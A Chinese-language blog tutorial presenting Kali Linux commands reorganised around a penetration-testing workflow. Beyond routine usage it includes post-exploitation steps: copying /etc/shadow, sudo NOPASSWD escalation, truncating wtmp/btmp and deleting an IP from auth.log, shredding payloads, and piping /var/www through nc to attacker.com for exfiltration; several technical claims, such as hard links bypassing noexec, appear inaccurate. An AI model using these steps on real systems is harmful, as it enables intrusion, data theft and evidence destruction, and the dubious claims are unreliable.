简介:本资源是一份面向网络安全初学者与渗透测试入门者的Kali Linux命令速查手册,聚焦Linux基础操作、系统监控、文本处理及渗透常用工具调用等核心技能,帮助用户快速掌握Kali环境下的高频命令用法,提升实战效率。资源为单文件Word文档(.docx),共1个文件,大小1.96MB,格式规范、排版清晰,便于离线查阅与打印标注。内容覆盖完整命令体系:从目录查看(ls)、路径切换(cd)、文件管理(cp/mv/touch/mkdir)到系统信息(df/free/top)、文本检索(grep/sed/awk)、权限与用户切换(su/sudo)、电源控制(shutdown/reboot)及详尽的帮助系统(man/info/whatis)等,目录层级明确,每条命令均含语法说明与典型用例。目前已有633人学习下载,是Kali入门阶段不可或缺的结构化笔记型参考资料。
1. 这不是“Linux命令速查表”,而是Kali实战中真正卡住你三小时的那17个命令组合
你刚在靶机上提权成功,想快速导出/etc/shadow比对哈希,却卡在ls -al /etc/ | grep shadow没回显——不是权限问题,是ls默认不显示隐藏文件,而shadow被ls当普通文件处理,但你忘了加-l看权限位;你想用find / -name "php.ini" 2>/dev/null搜配置,结果终端刷屏全是Permission denied,根本看不到结果;你复制完ncat脚本想立刻执行,./exploit.sh报错Permission denied,反复chmod +x还是不行,最后发现是挂载的NTFS分区默认禁用执行位……这些不是“不会用Linux”,而是Kali环境里真实渗透链路上的断点。这份《Kali常用命令大全》不是教你怎么打字,它把ls、find、tar、gzip等23个高频命令,全部按渗透测试工作流重排:信息收集阶段该用什么参数组合避免漏目录、漏洞利用后怎么无痕清理日志、横向移动时如何绕过noexec挂载限制。它专为已经能跑通Metasploit但总在shell里卡壳的中级渗透人员设计——你不需要从pwd学起,你需要知道为什么cd -P /tmp/.hidden_dir能进得去而cd /tmp/.hidden_dir会报错,以及tar -czf backup.tgz --exclude='*.log' /var/www里那个--exclude必须写在源路径前否则失效。全文覆盖Kali 2023.4+默认zsh环境,所有参数经实测验证,拒绝“理论上可行”。
2. 文件系统操作:从ls到ln,为什么你的目录遍历总漏掉关键文件
2.1ls:别再只用ls -la,这四个参数组合才是渗透现场的真相探测器
ls在Kali里绝非简单列文件,它是第一道信息侦察线。默认ls不显示隐藏文件(以.开头),而渗透中关键配置如.git/config、.env、.htaccess全在此列;ls -l显示权限但不区分符号链接指向,而/var/www/html常被软链到/opt/webapp,你ls -l看到的是链接本身,不是真实路径。真正有效的组合是:
# 查看当前目录所有文件(含隐藏)+ 详细权限 + 人类可读大小 + 按修改时间倒序 ls -alhtr # 递归列出子目录结构(不显示文件内容),快速定位深层路径 ls -R | grep ":$" | sed 's/:$//' # 只显示目录(排除文件),配合grep快速找web根目录或日志目录 ls -ld */ | grep -E "(www|log|config|backup)"参数说明:
-a强制显示隐藏项(.ssh、.bash_history);-h让4096变成4.0K,避免误判小文件;-t按mtime排序,最新修改的配置文件/日志总在最顶;-R递归时注意输出量极大,务必配合grep过滤。ls -ld */中-d确保只列出目录本身而非其内容,*/通配符精准匹配目录名。
2.2find:比locate更可靠,但90%的人用错-type和-perm的逻辑顺序
locate依赖数据库更新,靶机上updatedb常被禁用或滞后,find才是实时武器。但新手常犯两个致命错误:一是find / -name "*.conf" -type f返回空,因为-type f要求必须是普通文件,而/etc/apache2/sites-enabled/000-default.conf可能是符号链接;二是find / -perm -4000想搜SUID文件,却漏掉-o(OR)逻辑导致条件失效。正确姿势是:
# 安全搜SUID/SGID文件(-o连接多个条件,括号需转义) find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null # 找所有可写目录(-writable比-perm -002更准,因ACL可能覆盖权限位) find /var -writable -type d 2>/dev/null # 精准定位Web配置(忽略大小写+匹配多级路径+排除备份文件) find /etc -iname "*apache*" -o -iname "*nginx*" -o -iname "*php*" \ -path "*/sites-*" -o -path "*/conf.d" -o -path "*/php.ini" \ ! -name "*.bak" ! -name "*.old" 2>/dev/null逻辑说明:
\( ... \)是find的分组语法,\转义括号;-o是OR,-a(AND)可省略;-writable检测实际可写性,比-perm -002更鲁棒(应对ACL);! -name排除备份文件避免干扰。2>/dev/null必须放在命令末尾,否则find的错误输出会污染结果。
2.3cp/mv/rm:渗透后清理痕迹的关键,-p和-i的取舍是玄学
渗透成功后,你复制/etc/shadow到本地分析,但cp /etc/shadow ./shadow_bak会丢失原始mtime,导致管理员通过stat shadow_bak发现异常时间戳;你删除临时脚本rm exploit.py,却忘了-r无法删目录,而rm -rf /tmp/.cache可能误删靶机缓存。真正的战场参数是:
# 复制时保留所有属性(权限、时间戳、属主),让文件“看起来没动过” cp -p /etc/shadow ./shadow_safe # 移动文件并自动备份原文件(-b参数生成~后缀),后悔药机制 mv -b /var/log/auth.log /var/log/auth.log.compromised # 安全删除:覆写3次+删除(防forensic恢复),-v确认每步 shred -u -n 3 -v /tmp/staged_payload.bin参数深挖:
-p等价于--preserve=mode,ownership,timestamps,shred的-n 3指定覆写次数(FBI标准是7次,但3次已足够对抗常规恢复);-b备份选项在mv中极少被提及,却是避免误操作的核心保障。
2.4ln:硬链接绕过noexec挂载,软链接劫持日志路径的底层逻辑
当靶机/tmp被noexec挂载(mount | grep noexec可确认),./shell直接执行失败。此时硬链接是唯一出路:ln /bin/bash /tmp/myshell,因硬链接与原文件共享inode,执行时内核不检查挂载选项。而软链接用于日志劫持:ln -sf /dev/stdout /var/log/apache2/access.log,让所有访问日志输出到stdout,便于实时监控。实操命令:
# 创建硬链接(必须同文件系统,且不能跨分区) ln /bin/bash /tmp/.bash_exec # 创建软链接指向攻击者控制的文件(如监听端口) ln -sf /proc/self/fd/1 /var/log/syslog # 将syslog重定向到当前shell stdout # 验证链接类型(l=link, - =regular file) ls -li /tmp/.bash_exec /var/log/syslog # 硬链接inode相同,软链接显示->符号原理警示:硬链接不能链接目录(防止循环引用),也不能跨文件系统;软链接路径必须绝对路径(
-s参数强制),相对路径在chdir后会失效;ls -li查看inode号,硬链接inode一致,软链接inode独立。
3. 系统控制与用户管理:sudo权限提升的临门一脚与last日志反侦察
3.1sudo -l:比su更危险的入口,如何从输出中嗅出NOPASSWD漏洞
sudo -l是提权黄金指令,但输出常被忽略细节。sudo -l显示User user may run the following commands on kali: (ALL : ALL) NOPASSWD: /usr/bin/python3,意味着无需密码即可执行python3——这等于获得root shell。而sudo -l若返回(root) /bin/bash,直接sudo /bin/bash提权。但新手常卡在sudo: a password is required,原因有二:一是未用-l确认权限,二是sudo默认读取/etc/sudoers,而某些环境sudoers.d/下有额外规则。安全验证命令:
# 全面枚举sudo权限(含sudoers.d目录) sudo -l 2>/dev/null | grep -E "(NOPASSWD|root|ALL)" # 检查sudoers.d中是否有隐藏规则(需root权限,但常被遗漏) ls -la /etc/sudoers.d/ 2>/dev/null && cat /etc/sudoers.d/* 2>/dev/null # 若发现NOPASSWD,立即测试(避免交互式密码提示) echo "id" | sudo /usr/bin/python3 -c "import sys; exec(sys.stdin.read())"执行逻辑:
sudo -l输出重定向2>/dev/null屏蔽错误(如无权限时的警告);grep -E用正则匹配关键字段;echo "id" | sudo python3 -c "..."将命令通过stdin注入,绕过交互式shell启动,适合静默提权。
3.2last与lastlog:清除登录痕迹的三板斧,-R参数是反侦察核心
last读取/var/log/wtmp,记录所有登录事件。渗透后若不清除,last | head -20一眼暴露你的IP和时间。last -R(不显示主机名/IP)是防御性操作,但清除需三步:清wtmp、清btmp(暴力破解记录)、清auth.log。命令链:
# 清空wtmp(需root,但提权后必做) sudo truncate -s 0 /var/log/wtmp # 清空btmp(暴力破解日志,同样需root) sudo truncate -s 0 /var/log/btmp # 在auth.log中删除特定IP行(sed -i直接修改) sudo sed -i '/192\.168\.1\.100/d' /var/log/auth.log避坑提示:
truncate -s 0比> /var/log/wtmp更安全(避免文件描述符占用);sed -i中IP需转义.为\.,否则匹配任意字符;last -R仅影响last命令输出,不改变日志内容,清除才是根本。
3.3su与sudo的本质区别:何时该用su -,何时必须sudo -i
su切换用户但不继承环境变量,su -(带-)才模拟完整登录。渗透中常见场景:su www-data后pwd显示/root,因环境变量$HOME未更新;而sudo -i -u www-data则正确进入/var/www。关键决策树:
- 需要完全模拟目标用户环境(如运行PHP脚本依赖
$PATH)→ 用sudo -i -u <user> - 需要临时执行单条命令(如读取
/var/www/.env)→ 用sudo -u <user> cat /var/www/.env su仅在已知目标用户密码且需交互式shell时使用,Kali渗透中极少出现(密码通常未知)
# 安全切换到www-data并执行命令(不启动交互shell) sudo -u www-data /bin/bash -c "echo \$HOME; ls -la" # 启动完整www-data环境(等效于su - www-data) sudo -i -u www-data环境变量陷阱:
sudo -u www-data bash启动的shell中$HOME仍是/root,而sudo -i -u www-data会加载/var/www/.bashrc,$HOME正确为/var/www。-c参数让bash执行字符串命令,避免交互式等待。
4. 文件压缩与打包:tar和gzip在横向移动中的隐蔽传输技巧
4.1tar:-c、-x、-f的顺序铁律,以及--wildcards绕过文件名过滤
tar命令参数顺序是硬性规定:-f必须紧跟文件名,否则报错tar: You must specify one of the '-Acdtrux' options。而渗透中常需打包特定扩展名文件(如*.php),但tar -cf backup.tar *.php在目标机无glob支持时失效。解决方案是--wildcards:
# 正确顺序:-c(创建)、-f(文件名)、-v(显示过程),--wildcards启用通配 tar -cf backup.tar --wildcards -v "*.php" "*.html" "/var/www/html/config/" # 排除敏感目录(如日志、缓存),避免传输过大或暴露痕迹 tar -cf web_backup.tar --exclude='/var/www/html/logs' \ --exclude='/var/www/html/cache' /var/www/html/ # 解包到指定目录(-C参数,大写C!) tar -xf backup.tar -C /tmp/extracted/参数铁律:
-f后必须紧接文件名,tar -cf backup.tar合法,tar -c backup.tar -f非法;--exclude路径必须相对于打包根目录;-C解压路径需存在,否则报错tar: /tmp/extracted: Cannot open: No such file or directory。
4.2gzip:-d解压的隐式行为,以及zcat免解压读取压缩日志
gzip -d file.gz解压后原文件消失,但渗透中常需读取压缩日志而不留痕迹。zcat(或zless)是神器:zcat /var/log/apache2/access.log.1.gz | grep "POST"直接解析,不生成临时文件。而gzip压缩时-9(最高压缩)反而增加传输时间,-6是速度与体积平衡点:
# 压缩时保留原文件(-c输出到stdout,重定向保存) gzip -6c /var/log/auth.log > auth.log.gz # 免解压搜索关键词(zgrep等效于zcat | grep) zgrep "Failed password" /var/log/auth.log.1.gz # 解压并保留原文件(-k参数,Kali 2023+支持) gzip -dk /tmp/payload.bin.gz效率对比:
-1最快但压缩率低,-9最慢但体积小;-6是默认值,推荐保持;zgrep比gunzip -c file.gz | grep少一次进程调用,延迟更低。
4.3tar与gzip组合:-z参数的真相,以及tar -J对xz格式的支持
tar -czf archive.tar.gz /dir中-z调用gzip,但-z和-j(bzip2)、-J(xz)互斥。Kali中xz压缩率更高(tar -cJf archive.tar.xz /dir),但解压需xz-utils。实战中更关键的是流式传输:tar -cf - /var/www | gzip -c | nc attacker.com 4444,在内存中打包压缩,不落地文件。命令分解:
# 流式打包压缩并发送(接收端用nc -lvp 4444 > backup.tar.gz) tar -cf - /var/www/html | gzip -c | nc 192.168.1.100 4444 # 接收端解压(不落地,直接解到/tmp) nc -lvp 4444 | gunzip -c | tar -xf - -C /tmp/recovered/ # 验证完整性(tar -t列出内容,不解压) tar -tzf backup.tar.gz | head -10流式优势:全程内存操作,无磁盘IO,避免
/tmp空间不足;-C指定解压路径,-t仅列出文件名,快速确认包内容。
5. 避坑:Kali命令实战中踩过的5个血泪坑,每个都让你重启三次虚拟机
5.1 现象:ls -l显示文件权限为-rwxr-xr-x,但执行./script.sh报Permission denied
原因:文件系统挂载选项为noexec(如/tmp、/mnt),内核禁止执行任何二进制文件,权限位无效。
解决:用sh script.sh或bash script.sh间接执行(shell解释器本身有执行权);或用ln创建硬链接到/bin/bash(见2.4节);终极方案mount -o remount,exec /tmp(需root)。
5.2 现象:find / -name "config.php" 2>/dev/null无输出,但ls /var/www/html/可见该文件
原因:find默认不跟随符号链接,而/var/www/html可能是/opt/app/public的软链,find在/下搜索时跳过链接目标。
解决:加-L参数强制跟随链接:find -L / -name "config.php" 2>/dev/null;或先readlink -f /var/www/html确认真实路径,再find /opt/app -name "config.php"。
5.3 现象:sudo apt update报错Could not get lock /var/lib/dpkg/lock-frontend
原因:另一个apt进程(如后台自动更新)正在运行,锁文件未释放。
解决:sudo lsof /var/lib/dpkg/lock-frontend查占用进程PID,sudo kill -9 PID;或暴力删除锁文件sudo rm /var/lib/dpkg/lock-frontend后sudo dpkg --configure -a修复。
5.4 现象:tar -xf archive.tar解压后文件时间戳全为当前时间,丢失原始修改时间
原因:tar默认不保留时间戳,需显式加-p(preserve)参数。
解决:打包时用tar -cpf archive.tar /dir,解压时用tar -xpf archive.tar;-p同时保留权限、属主、时间戳。
5.5 现象:last命令输出中IP地址显示为pts/0或tty1,无法识别攻击者IP
原因:last默认不解析DNS,且SSH连接若经跳板机,真实IP被掩盖。
解决:last -i强制显示IP(不反向DNS解析);结合journalctl -u ssh | grep "Accepted"查SSH日志;终极方案ss -tuln | grep :22看当前连接IP。
6. 进阶技巧:用man定制渗透专用手册页,以及alias一键触发高危命令组合
6.1man深度定制:为find和tar生成渗透专属手册页
Kali的man find过于冗长,渗透只需-name、-perm、-exec。我习惯用man -P "less -p '\\-name'" find,-P指定pager,-p让less启动时高亮-name。更进一步,创建~/.bash_aliases:
# 为find添加渗透快捷手册(高亮关键参数) alias man-find='man find | grep -A 5 -B 5 -E "(^-name|^-perm|^-exec)"' # 为tar创建精简版(只显示-c,-x,-f,-z参数) alias man-tar='man tar | sed -n "/^ *-c/,/^ *-J/p" | grep -E "^ *(-c|-x|-f|-z|-j|-J)"' # 加载alias(每次shell启动生效) echo "source ~/.bash_aliases" >> ~/.zshrc source ~/.zshrc效果:
man-find直接输出find中与渗透强相关的5个参数段落,省去翻页;man-tar过滤出核心参数,避免被--owner等无关选项干扰。
6.2alias安全加固:把高危命令包装成带确认的函数
rm -rf /是经典翻车,但渗透中rm -rf /tmp/*也常误删重要临时文件。我强制所有rm、mv、cp走确认函数:
# 在~/.bash_aliases中定义安全rm safe_rm() { echo "⚠️ 即将执行: rm -rf $@" read -p "确认删除?(y/N): " -n 1 -r echo if [[ $REPLY =~ ^[Yy]$ ]]; then command rm -rf "$@" else echo "已取消" fi } # 覆盖原命令 alias rm='safe_rm' alias cp='command cp -i' # -i强制确认覆盖 alias mv='command mv -i' # -i强制确认覆盖 # 加载 source ~/.bash_aliases安全逻辑:
command rm调用原生rm避免递归调用;read -n 1单字符输入,-r禁用反斜杠转义;[[ $REPLY =~ ^[Yy]$ ]]严格匹配y/Y,避免空格误触。
6.3 终极技巧:history与fc联动,回溯并修改上一条危险命令
渗透中常输错find路径,如find / -name "passwd"误写为find / -name "passwod"。fc(fix command)可调出上条命令编辑:fc -s name="shadow"将name="passwd"替换为name="shadow"。但更高效的是绑定到快捷键:
# 在~/.inputrc中绑定Ctrl+X Ctrl+E打开上条命令(vi模式) set editing-mode vi "\C-x\C-e": edit-and-execute-command # 或直接用history -p调出上条(-p参数打印不执行) history -p '!-1' | sed 's/passwod/shadow/' | bash效率对比:
fc -s适合简单替换;history -p '!-1'获取上条命令,sed批量修改后| bash执行,适合复杂参数调整。!-1表示上一条,!-2上上条。
从那以后我每次写find或tar命令,都强制走一遍echo "test command" | bash -n语法检查(-n只解析不执行),哪怕多敲3秒。因为tar -cf /dev/sda /root这种命令,没有后悔药。希望帮到你。
本文还有配套的精品资源,点击获取